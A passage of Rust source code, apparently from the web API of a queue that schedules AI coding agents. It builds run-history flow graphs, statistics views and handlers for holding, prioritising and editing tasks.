5424 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5425 };
5426 format!(
5427 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5428 )
5429 } else if s.parked {
5430 match recorded_end.and_then(|v| v.cause.as_ref()) {
5431 Some(cause) => format!(
5432 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5433 cause.label(),
5434 cost_words
5435 ),
5436 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5437 .to_owned(),
5438 }
5439 } else if !status.done()
5440 || matches!(
5441 status,
5442 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5443 )
5444 {
5445 String::new()
5446 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5447 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5448 {
5449 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5450 .to_owned()
5451 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5452 " It left a pull request open, so the task was held for a person rather than retried."
5453 .to_owned()
5454 } else if matches!(status, RunStatus::VerifiedNoop) {
5455 " Held for a person to check the claim.".to_owned()
5456 } else if last {
5457 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5458 } else {
5459 " It spent an attempt, and the task moved on to the next run.".to_owned()
5460 };
5461 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5462 let mut attempt = exit.cost();
5463 let mut exit_label = None;
5464 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5465 let spent = match v.cost {
5466 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5467 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5468 None if resumed_later.is_some() => ", refund not recorded",
5469 None => ", attempt refunded",
5470 };
5471 attempt = match v.cost {
5472 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5473 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5474 None if resumed_later.is_some() => AttemptCost::Unknown,
5475 None => attempt,
5476 };
5477 if v.end == "parked" {
5478 exit = RunExit::Parked;
5479 exit_label = Some(match v.cause.as_ref() {
5480 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5481 format!("parked for {}{spent}", c.label())
5482 }
5483 Some(c) => format!("parked ({}){spent}", c.label()),
5484 None => format!("parked{spent}"),
5485 });
5486 } else {
5487 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5488 }
5489 }
5490 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5491 TaskRunView {
5492 n,
5493 id: id.to_owned(),
5494 short,
5495 kind,
5496 status: Some(status.as_str()),
5497 readable: true,
5498 provisional,
5499 description,
5500 outcome: format!("{head}{why}"),
5501 created_at: Some(s.created_at),
5502 pr: s.pr.as_ref().map(|p| p.url.clone()),
5503 exit,
5504 attempt,
5505 exit_label,
5506 later_pass: resumed_later,
5507 pass_n,
5508 passes_of_run,
5509 pass: view,
5510 branch: branch.map(str::to_owned),
5511 badge: None,
5512 }
5513}
5514
5515fn capitalise(s: &str) -> String {
5516 let mut c = s.chars();
5517 c.next().map_or_else(String::new, |f| {
5518 f.to_uppercase().collect::<String>() + c.as_str()
5519 })
5520}
5521
5522#[derive(Debug, Serialize, PartialEq)]
5524struct FlowNode {
5525 key: String,
5527 kind: &'static str,
5529 label: String,
5530 status: Option<&'static str>,
5533 status_of: &'static str,
5536 note: Option<&'static str>,
5538 run_kind: Option<&'static str>,
5539 detail: Option<String>,
5540 decided: bool,
5542 readable: bool,
5543 href: Option<String>,
5544 badge: Option<String>,
5546 started_at: Option<Timestamp>,
5548 time_expected: bool,
5550}
5551
5552#[derive(Debug, Serialize, PartialEq)]
5553struct FlowEdge {
5554 from: String,
5555 to: String,
5556 label: String,
5557 attempt: AttemptCost,
5558}
5559
5560#[derive(Debug, Serialize, PartialEq)]
5561struct FlowView {
5562 nodes: Vec<FlowNode>,
5563 edges: Vec<FlowEdge>,
5564 attempts: usize,
5566 max_attempts: usize,
5567 passes: usize,
5570 runs: usize,
5571}
5572
5573fn task_flow(
5582 task: &Task,
5583 history: &[TaskRunView],
5584 max_attempts: usize,
5585 origin: Option<&FollowUpOrigin>,
5586) -> FlowView {
5587 let max_attempts = task.effective_attempt_limit(max_attempts);
5588 let node = |key: &str, kind, label: String| FlowNode {
5589 key: key.to_owned(),
5590 kind,
5591 label,
5592 status: None,
5593 status_of: "run",
5594 note: None,
5595 run_kind: None,
5596 detail: None,
5597 decided: false,
5598 readable: true,
5599 href: None,
5600 badge: None,
5601 started_at: None,
5602 time_expected: matches!(kind, "start" | "run" | "end"),
5603 };
5604 let mut nodes = Vec::new();
5605 let mut edges: Vec<FlowEdge> = Vec::new();
5606 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5608 let mut n = node(
5609 "chat",
5610 "chat",
5611 format!("Chat {}", crate::queue::short(&link.id)),
5612 );
5613 n.href = Some(link.href);
5614 nodes.push(n);
5615 edges.push(FlowEdge {
5616 from: "chat".to_owned(),
5617 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5618 label: "queued from chat".to_owned(),
5619 attempt: AttemptCost::None,
5620 });
5621 }
5622 if let Some(o) = origin {
5623 let mut n = match &o.parent {
5624 Some(p) => {
5625 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5626 n.status = Some(p.status);
5627 n.status_of = "task";
5628 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5629 n.href = Some(p.href.clone());
5630 n
5631 }
5632 None => {
5633 let mut n = node(
5634 "origin",
5635 "followup",
5636 format!("Follow-up of run {}", o.run.short),
5637 );
5638 n.detail = Some("merged run".to_owned());
5639 n.status = o.run.status;
5640 n.href = o.run.href.clone();
5641 if o.run.href.is_none() {
5642 n.readable = false;
5643 n.note = Some("unreadable");
5644 }
5645 n
5646 }
5647 };
5648 n.decided = true;
5649 let from = n.key.clone();
5650 nodes.push(n);
5651 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5652 let more = o.findings.len().saturating_sub(shown.len());
5653 let label = match (shown.is_empty(), more) {
5654 (true, _) => "open findings".to_owned(),
5655 (false, 0) => format!("open findings {}", shown.join(", ")),
5656 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5657 };
5658 edges.push(FlowEdge {
5659 from,
5660 to: "start".to_owned(),
5661 label,
5662 attempt: AttemptCost::None,
5663 });
5664 }
5665 let mut start = node("start", "start", "Task queued".to_owned());
5666 start.started_at = Some(task.created_at);
5667 nodes.push(start);
5668 let mut prev = "start".to_owned();
5669 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5670 for (i, h) in history.iter().enumerate() {
5671 let key = format!("run-{}", h.n);
5672 let mut n = node(&key, "run", format!("Run {}", h.short));
5673 n.started_at = h
5676 .readable
5677 .then(|| {
5678 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5679 h.created_at
5680 } else {
5681 None
5682 })
5683 })
5684 .flatten();
5685 n.run_kind = Some(h.kind);
5686 n.readable = h.readable;
5687 n.href = Some(format!("#/runs/{}", h.id));
5688 n.decided = h.readable && !h.provisional;
5689 n.detail = h
5690 .branch
5691 .as_ref()
5692 .map(|b| format!("review-only run of branch {b}"));
5693 match h.exit {
5694 RunExit::Unreadable => n.note = Some("unreadable"),
5695 RunExit::Interrupted => n.note = Some("interrupted"),
5696 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5699 _ => {
5700 n.status = h.status;
5701 n.badge = h.badge.clone();
5702 if h.provisional {
5703 n.note = Some("no verdict");
5704 }
5705 }
5706 }
5707 let into = match h.kind {
5708 "review" => Some(format!(
5709 "review-only run of branch {}",
5710 h.branch.as_deref().unwrap_or("?")
5711 )),
5712 "resume" => Some("resume the same run".to_owned()),
5713 _ if i > 0 => Some("retry".to_owned()),
5714 _ => None,
5715 };
5716 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5717 let label = match (prev_exit, into) {
5718 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5719 (Some((_, l, _)), None) => l,
5720 (None, Some(i)) => i,
5721 (None, None) => "claimed".to_owned(),
5722 };
5723 edges.push(FlowEdge {
5724 from: prev.clone(),
5725 to: key.clone(),
5726 label,
5727 attempt,
5728 });
5729 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5730 prev = key;
5731 nodes.push(n);
5732 }
5733 let mut end = node("end", "end", task.status.as_str().to_owned());
5734 end.status = Some(task.status.as_str());
5735 end.status_of = "task";
5736 if task.status == TaskStatus::Held {
5739 end.started_at = task.held_at;
5740 }
5741 nodes.push(end);
5742 let (label, attempt) = match prev_exit {
5743 None => (
5744 format!("no run yet \u{2192} {}", task.status.as_str()),
5745 AttemptCost::None,
5746 ),
5747 Some((e, l, cost)) if e.explains(task.status) => {
5748 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5749 }
5750 Some((_, _, cost)) => (
5751 format!("closed by hand: task is {}", task.status.as_str()),
5752 cost,
5753 ),
5754 };
5755 edges.push(FlowEdge {
5756 from: prev,
5757 to: "end".to_owned(),
5758 label,
5759 attempt,
5760 });
5761 FlowView {
5762 nodes,
5763 edges,
5764 attempts: task.attempts,
5765 max_attempts,
5766 passes: history.len(),
5767 runs: distinct_runs(&task.runs),
5768 }
5769}
5770
5771fn distinct_runs(runs: &[String]) -> usize {
5773 let mut seen: Vec<&str> = Vec::new();
5774 for r in runs {
5775 if !seen.contains(&r.as_str()) {
5776 seen.push(r);
5777 }
5778 }
5779 seen.len()
5780}
5781
5782fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5784 let mut slots = Vec::new();
5785 let mut seen = Vec::new();
5786 for run_id in &task.runs {
5787 if seen.contains(&run_id) {
5788 continue;
5789 }
5790 seen.push(run_id);
5791 let state = read(run_id);
5792 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5793 s.passes
5794 .iter()
5795 .filter(|p| {
5796 p.task_entry
5797 || task
5798 .passes
5799 .iter()
5800 .any(|t| t.run == *run_id && t.pass_index == p.index)
5801 })
5802 .cloned()
5803 .collect()
5804 });
5805 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5806 let total = legacy_count.max(mine.len());
5807 let offset = total - mine.len();
5808 for k in 0..total {
5809 let position = task
5812 .runs
5813 .iter()
5814 .enumerate()
5815 .filter(|(_, r)| *r == run_id)
5816 .nth(k.min(legacy_count - 1))
5817 .unwrap()
5818 .0;
5819 slots.push((
5820 run_id,
5821 state.clone(),
5822 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5823 position,
5824 ));
5825 }
5826 }
5827 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5828 slots.sort_by_key(|(_, state, pass, _)| {
5829 pass.as_ref()
5830 .map(|p| p.started_at)
5831 .or_else(|| state.as_ref().map(|s| s.created_at))
5832 .map_or((true, task.created_at), |at| (false, at))
5833 });
5834 } else {
5835 slots.sort_by_key(|(_, _, _, position)| *position);
5836 }
5837 let mut history = Vec::with_capacity(slots.len());
5838 let mut seen: Vec<&str> = Vec::new();
5839 let mut prior: Option<(&str, RunStatus)> = None;
5840 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5841 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5842 let resumed = k > 0;
5843 seen.push(run_id);
5844 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5845 let pass = pass.as_ref();
5846 let settled = pass.and_then(|p| {
5847 task.passes
5848 .iter()
5849 .find(|t| t.run == **run_id && t.pass_index == p.index)
5850 });
5851 history.push(task_run_view(
5852 run_id,
5853 state.as_ref(),
5854 RunSlot {
5855 n: i + 1,
5856 resumed,
5857 resumed_later: slots[i + 1..]
5858 .iter()
5859 .position(|(id, _, _, _)| id == run_id)
5860 .map(|off| i + off + 2),
5861 prior,
5862 last: i + 1 == slots.len(),
5863 pass,
5864 settled,
5865 pass_n: k + 1,
5866 passes_of_run: total,
5867 },
5868 task,
5869 ));
5870 if let Some(s) = &state {
5871 prior = Some((run::short_of(run_id), s.status));
5872 }
5873 }
5874 history
5875}
5876
5877fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5880 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5881 return;
5882 }
5883 let (_, claimed, _) = run_row_inputs(ui);
5884 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5885 for h in history
5886 .iter_mut()
5887 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5888 {
5889 let Ok(state) = read_run(&ui.runs, &h.id) else {
5890 continue;
5891 };
5892 if state.status.done() {
5893 continue;
5894 }
5895 let live = state.liveness_with(
5896 claimed.contains(&h.id),
5897 |p| probe.borrow_mut().status(p),
5898 |p| probe.borrow_mut().started_at(p),
5899 );
5900 let waiting = !ui.questions.open_for(&h.id).is_empty();
5901 let display = run_display_status(&state, waiting, live);
5902 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5903 if matches!(word.as_str(), "stale" | "superseded")
5904 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5905 {
5906 h.badge = Some(word);
5907 }
5908 }
5909}
5910
5911async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
5912 blocking(move || {
5913 let id = resolve_task(&ui.queue, &id)?;
5914 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
5915 })
5916 .await
5917}
5918
5919async fn task_detail(
5920 State(ui): State<Arc<Ui>>,
5921 Path(id): Path<String>,
5922) -> ApiResult<Json<TaskDetailView>> {
5923 blocking(move || {
5924 let id = resolve_task(&ui.queue, &id)?;
5925 let task = ui
5926 .queue
5927 .get(&id)
5928 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5929 let inv = if task.status == TaskStatus::Blocked {
5930 Some(crate::blockers::Inventory::load_for(
5931 &ui.queue,
5932 &ui.questions,
5933 &task,
5934 ))
5935 } else {
5936 None
5937 };
5938 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5939 mark_badges(&ui, &task, &mut history);
5940 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5941 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5942 let origin = task.followup.as_ref().map(|fu| {
5943 followup_origin(
5944 fu,
5945 |tid| ui.queue.get(tid).ok(),
5946 |rid| read_run(&ui.runs, rid).ok(),
5947 )
5948 });
5949 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5950 let task_view = match inv.as_ref() {
5951 Some(inv) => TaskView::with_inventory(task, inv),
5952 None => TaskView::from(task),
5953 };
5954 Ok(Json(TaskDetailView {
5955 max_attempts,
5956 flow,
5957 followup_origin: origin,
5958 passes_total: history.len(),
5959 runs_distinct: distinct_runs(&task_view.task.runs),
5960 history,
5961 runs_unreadable,
5962 attempts_note: ATTEMPTS_NOTE,
5963 task: task_view,
5964 }))
5965 })
5966 .await
5967}
5968
5969#[derive(Debug, Serialize)]
5973struct RateView {
5974 pct: f64,
5975 denominator: usize,
5976}
5977
5978impl RateView {
5979 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5980 (denominator > 0).then(|| Self {
5981 pct: 100.0 * numerator as f64 / denominator as f64,
5982 denominator,
5983 })
5984 }
5985}
5986
5987#[derive(Debug, Serialize)]
5992struct StatsTotalsView {
5993 runs: usize,
5994 merged: usize,
5995 ready: usize,
5996 blocked: usize,
5997 failed: usize,
5998 stalled: usize,
5999 verified_noop: usize,
6000 superseded: usize,
6001 in_progress: usize,
6002 completion_rate: Option<RateView>,
6003 tallied: usize,
6004 split: usize,
6005 split_rate: Option<RateView>,
6006 deliberated: usize,
6007 minds_changed: usize,
6008 converged: usize,
6009 review_rounds: usize,
6010}
6011
6012impl From<&stats::Totals> for StatsTotalsView {
6013 fn from(t: &stats::Totals) -> Self {
6014 Self {
6015 runs: t.runs,
6016 merged: t.merged,
6017 ready: t.ready,
6018 blocked: t.blocked,
6019 failed: t.failed,
6020 stalled: t.stalled,
6021 verified_noop: t.verified_noop,
6022 superseded: t.superseded,
6023 in_progress: t.in_progress,
6024 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6025 tallied: t.tallied,
6026 split: t.split,
6027 split_rate: RateView::of(t.split, t.tallied),
6028 deliberated: t.deliberated,
6029 minds_changed: t.minds_changed,
6030 converged: t.converged,
6031 review_rounds: t.review_rounds,
6032 }
6033 }
6034}
6035
6036#[derive(Debug, Serialize)]
6038struct AgentStatsView {
6039 agent: String,
6040 entered: usize,
6041 wins: usize,
6042 empty: usize,
6043 win_rate: Option<RateView>,
6044 competitive_entered: usize,
6045 competitive_wins: usize,
6046 competitive_win_rate: Option<RateView>,
6047 solo_entered: usize,
6048 solo_adopted: usize,
6049 solo_adoption_rate: Option<RateView>,
6050}
6051
6052impl From<&stats::AgentStats> for AgentStatsView {
6053 fn from(a: &stats::AgentStats) -> Self {
6054 Self {
6055 agent: a.agent.clone(),
6056 entered: a.entered,
6057 wins: a.wins,
6058 empty: a.empty,
6059 win_rate: RateView::of(a.wins, a.entered),
6060 competitive_entered: a.competitive_entered,
6061 competitive_wins: a.competitive_wins,
6062 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6063 solo_entered: a.solo_entered,
6064 solo_adopted: a.solo_adopted,
6065 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6066 }
6067 }
6068}
6069
6070#[derive(Debug, Serialize)]
6074struct ReviewerStatsView {
6075 agent: String,
6076 rounds: usize,
6077 seated: usize,
6078 submitted: usize,
6079 adopted: usize,
6080 unique: usize,
6081 timeouts: usize,
6082 adopted_per_round: Option<f64>,
6083 precision: Option<RateView>,
6084 unique_rate: Option<RateView>,
6085 timeout_rate: Option<RateView>,
6086}
6087
6088impl From<&stats::ReviewerStats> for ReviewerStatsView {
6089 fn from(r: &stats::ReviewerStats) -> Self {
6090 Self {
6091 agent: r.agent.clone(),
6092 rounds: r.rounds,
6093 seated: r.seated,
6094 submitted: r.submitted,
6095 adopted: r.adopted,
6096 unique: r.unique,
6097 timeouts: r.timeouts,
6098 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6099 precision: RateView::of(r.adopted, r.submitted),
6100 unique_rate: RateView::of(r.unique, r.submitted),
6101 timeout_rate: RateView::of(r.timeouts, r.seated),
6102 }
6103 }
6104}
6105
6106#[derive(Debug, Serialize)]
6112struct AdvisorStatsView {
6113 agent: String,
6114 seated: usize,
6115 proposed: usize,
6116 absent: usize,
6117 faint: usize,
6118 strong: usize,
6119 reflection_rate: Option<RateView>,
6120}
6121
6122impl From<&stats::AdvisorStats> for AdvisorStatsView {
6123 fn from(a: &stats::AdvisorStats) -> Self {
6124 Self {
6125 agent: a.agent.clone(),
6126 seated: a.seated,
6127 proposed: a.proposed,
6128 absent: a.absent,
6129 faint: a.faint,
6130 strong: a.strong,
6131 reflection_rate: RateView::of(a.strong, a.proposed),
6132 }
6133 }
6134}
6135
6136#[derive(Debug, Serialize)]
6138struct E2eStatsView {
6139 rounds: usize,
6140 failures: usize,
6141 sole_detections: usize,
6142 deferred: usize,
6143 sole_rate: Option<RateView>,
6144}
6145
6146impl From<&stats::E2eStats> for E2eStatsView {
6147 fn from(e: &stats::E2eStats) -> Self {
6148 Self {
6149 rounds: e.rounds,
6150 failures: e.failures,
6151 sole_detections: e.sole_detections,
6152 deferred: e.deferred,
6153 sole_rate: RateView::of(e.sole_detections, e.failures),
6154 }
6155 }
6156}
6157
6158#[derive(Debug, Serialize)]
6166struct ReleaseBumpStatsView {
6167 merged: usize,
6168 recorded: usize,
6169 pr_opened: usize,
6170 automerge_enabled: usize,
6171 merged_directly: usize,
6172 needs_attention: usize,
6173 clean: usize,
6174 coverage_rate: Option<RateView>,
6175 automerge_rate: Option<RateView>,
6176 attention_rate: Option<RateView>,
6177}
6178
6179impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6180 fn from(b: &stats::ReleaseBumpStats) -> Self {
6181 Self {
6182 merged: b.merged,
6183 recorded: b.recorded,
6184 pr_opened: b.pr_opened,
6185 automerge_enabled: b.automerge_enabled,
6186 merged_directly: b.merged_directly,
6187 needs_attention: b.needs_attention,
6188 clean: b.clean(),
6189 coverage_rate: RateView::of(b.recorded, b.merged),
6190 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6191 attention_rate: RateView::of(b.needs_attention, b.recorded),
6192 }
6193 }
6194}
6195
6196#[derive(Debug, Serialize)]
6198struct TaskCountsView {
6199 queued: usize,
6200 running: usize,
6201 done: usize,
6202 failed: usize,
6203 held: usize,
6204 blocked: usize,
6205 parked: usize,
6206}
6207
6208impl From<crate::queue::TaskCounts> for TaskCountsView {
6209 fn from(c: crate::queue::TaskCounts) -> Self {
6210 Self {
6211 queued: c.queued,
6212 running: c.running,
6213 done: c.done,
6214 failed: c.failed,
6215 held: c.held,
6216 blocked: c.blocked,
6217 parked: c.parked,
6218 }
6219 }
6220}
6221
6222#[derive(Debug, Serialize)]
6228struct RepoSummaryView {
6229 repo: String,
6232 name: String,
6234 runs: usize,
6235 completion_rate: Option<RateView>,
6236}
6237
6238impl From<&stats::RepoStats> for RepoSummaryView {
6239 fn from(r: &stats::RepoStats) -> Self {
6240 let t = &r.stats.totals;
6241 Self {
6242 repo: r.repo.to_string_lossy().into_owned(),
6243 name: r.name.clone(),
6244 runs: t.runs,
6245 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6246 }
6247 }
6248}
6249
6250#[derive(Debug, Serialize)]
6256struct StatsView {
6257 totals: StatsTotalsView,
6258 agents: Vec<AgentStatsView>,
6260 reviewers: Vec<ReviewerStatsView>,
6262 advisors: Vec<AdvisorStatsView>,
6264 e2e: E2eStatsView,
6265 release_bumps: ReleaseBumpStatsView,
6266 queue: Option<TaskCountsView>,
6267 runs_unreadable: usize,
6277 repos: Vec<RepoSummaryView>,
6281 daily: Vec<DailyStatsView>,
6286 repo: Option<String>,
6290 retired_hidden: Vec<String>,
6294}
6295
6296#[derive(Debug, Serialize)]
6298struct DailyStatsView {
6299 date: String,
6301 runs: usize,
6302 merged: usize,
6303 ready: usize,
6304 other: usize,
6305 completion_rate: Option<RateView>,
6307}
6308
6309impl From<&stats::DayBucket> for DailyStatsView {
6310 fn from(b: &stats::DayBucket) -> Self {
6311 Self {
6312 date: b.date.to_string(),
6313 runs: b.runs,
6314 merged: b.merged,
6315 ready: b.ready,
6316 other: b.other,
6317 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6318 }
6319 }
6320}
6321
6322const STATS_DAILY_DAYS: usize = 30;
6324
6325#[derive(Debug, Default, Deserialize)]
6334#[serde(default)]
6335struct StatsQuery {
6336 repo: Option<String>,
6337 all: bool,
6339 runs_only: bool,
6341}
6342
6343async fn stats_get(
6350 State(ui): State<Arc<Ui>>,
6351 Query(q): Query<StatsQuery>,
6352) -> ApiResult<Json<StatsView>> {
6353 blocking(move || {
6354 let states: Vec<RunState> = run_ids(&ui.runs)
6355 .into_iter()
6356 .filter_map(|id| read_run(&ui.runs, &id).ok())
6357 .collect();
6358 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6359 .iter()
6360 .map(RepoSummaryView::from)
6361 .collect();
6362 let mut scoped: Vec<&RunState> = states.iter().collect();
6363 let mut collected = match &q.repo {
6364 Some(repo) => {
6365 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6366 if filtered.is_empty() {
6367 return Err(ApiError::not_found(format!(
6368 "no runs recorded against repo `{repo}`"
6369 )));
6370 }
6371 scoped = filtered.clone();
6372 stats::collect_refs(filtered)
6373 }
6374 None => stats::collect(&states),
6375 };
6376 if !q.all {
6377 let repo = q
6378 .repo
6379 .as_deref()
6380 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6381 stats::retain_current_roster(&mut collected, &repo);
6382 }
6383 let daily = stats::daily(
6384 scoped,
6385 jiff::Zoned::now().date(),
6386 &jiff::tz::TimeZone::system(),
6387 STATS_DAILY_DAYS,
6388 );
6389 let queue_counts = (!q.runs_only)
6390 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6391 Ok(Json(StatsView {
6392 totals: StatsTotalsView::from(&collected.totals),
6393 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6394 reviewers: collected
6395 .reviewers
6396 .iter()
6397 .map(ReviewerStatsView::from)
6398 .collect(),
6399 advisors: collected
6400 .advisors
6401 .iter()
6402 .map(AdvisorStatsView::from)
6403 .collect(),
6404 e2e: E2eStatsView::from(&collected.e2e),
6405 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6406 queue: queue_counts,
6407 runs_unreadable: runs_unreadable(&ui.runs),
6408 repos,
6409 daily: daily.iter().map(DailyStatsView::from).collect(),
6410 repo: q.repo.clone(),
6411 retired_hidden: collected.retired_hidden.clone(),
6412 }))
6413 })
6414 .await
6415}
6416
6417#[derive(Debug, Default, Deserialize)]
6420#[serde(default, deny_unknown_fields)]
6421struct HoldBody {
6422 reason: Option<String>,
6423}
6424
6425async fn queue_hold(
6426 State(ui): State<Arc<Ui>>,
6427 Path(id): Path<String>,
6428 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6429) -> ApiResult<Json<TaskView>> {
6430 let body = match body {
6434 Ok(Json(body)) => body,
6435 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6436 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6437 };
6438 let reason = body.reason.filter(|r| !r.trim().is_empty());
6439 mutate(ui, id, move |t| {
6440 t.hold_manual(reason.clone());
6441 Ok(())
6442 })
6443 .await
6444}
6445
6446async fn queue_release(
6447 State(ui): State<Arc<Ui>>,
6448 Path(id): Path<String>,
6449) -> ApiResult<Json<TaskView>> {
6450 mutate(ui, id, |t| {
6451 t.release_operator("web", None);
6452 Ok(())
6453 })
6454 .await
6455}
6456
6457#[derive(Debug, Deserialize)]
6458#[serde(deny_unknown_fields)]
6459struct AttemptLimitBody {
6460 attempt_limit: serde_json::Value,
6462}
6463
6464async fn queue_attempt_limit(
6465 State(ui): State<Arc<Ui>>,
6466 Path(id): Path<String>,
6467 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6468) -> ApiResult<Json<TaskView>> {
6469 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6470 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6471 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6472 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6473}
6474
6475#[derive(Debug, Deserialize)]
6476#[serde(deny_unknown_fields)]
6477struct ImplementersBody {
6478 implementers: u8,
6479}
6480
6481async fn queue_implementers(
6482 State(ui): State<Arc<Ui>>,
6483 Path(id): Path<String>,
6484 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6485) -> ApiResult<Json<TaskView>> {
6486 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6487 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6488}
6489
6490#[derive(Debug, Deserialize)]
6491#[serde(deny_unknown_fields)]
6492struct UrgentBody {
6493 urgent: bool,
6494}
6495
6496async fn queue_urgent(
6497 State(ui): State<Arc<Ui>>,
6498 Path(id): Path<String>,
6499 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6500) -> ApiResult<Json<TaskView>> {
6501 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6502 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6503}
6504
6505#[derive(Debug, Deserialize)]
6507#[serde(deny_unknown_fields)]
6508struct PriorityBody {
6509 priority: i32,
6510}
6511
6512async fn queue_priority(
6518 State(ui): State<Arc<Ui>>,
6519 Path(id): Path<String>,
6520 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6521) -> ApiResult<Json<TaskView>> {
6522 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6523 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6524}
6525
6526#[derive(Debug, Deserialize)]
6528#[serde(deny_unknown_fields)]
6529struct EditBody {
6530 title: String,
6531 instruction: String,
6532 #[serde(default)]
6535 force: bool,
6536}
6537
6538async fn queue_edit(
6542 State(ui): State<Arc<Ui>>,
6543 Path(id): Path<String>,
6544 body: std::result::Result<Json<EditBody>, JsonRejection>,
6545) -> ApiResult<Json<TaskView>> {
6546 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6547 let mut judged: Option<(String, PathBuf)> = None;
6551 if !body.force {
6552 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6553 let (id, text) = (id.clone(), body.instruction.clone());
6554 let (seen, hits) = blocking(move || {
6555 let id = resolve_task(&queue, &id)?;
6556 let t = queue.get(&id)?;
6557 if text == t.instruction {
6558 return Ok((None, Vec::new()));
6559 }
6560 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6561 Ok((Some((t.instruction, t.repo)), hits))
6562 })
6563 .await?;
6564 if let Some((_, repo)) = &seen {
6565 let cfg = crate::config::Config::discover(repo, None)
6566 .ok()
6567 .map(|(c, _)| c);
6568 let screened =
6569 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6570 .await
6571 .map_err(|dup| {
6572 ApiError::conflict(dup.render(
6573 "Nothing was saved. If it is not a duplicate, repeat the request \
6574 with \"force\": true.",
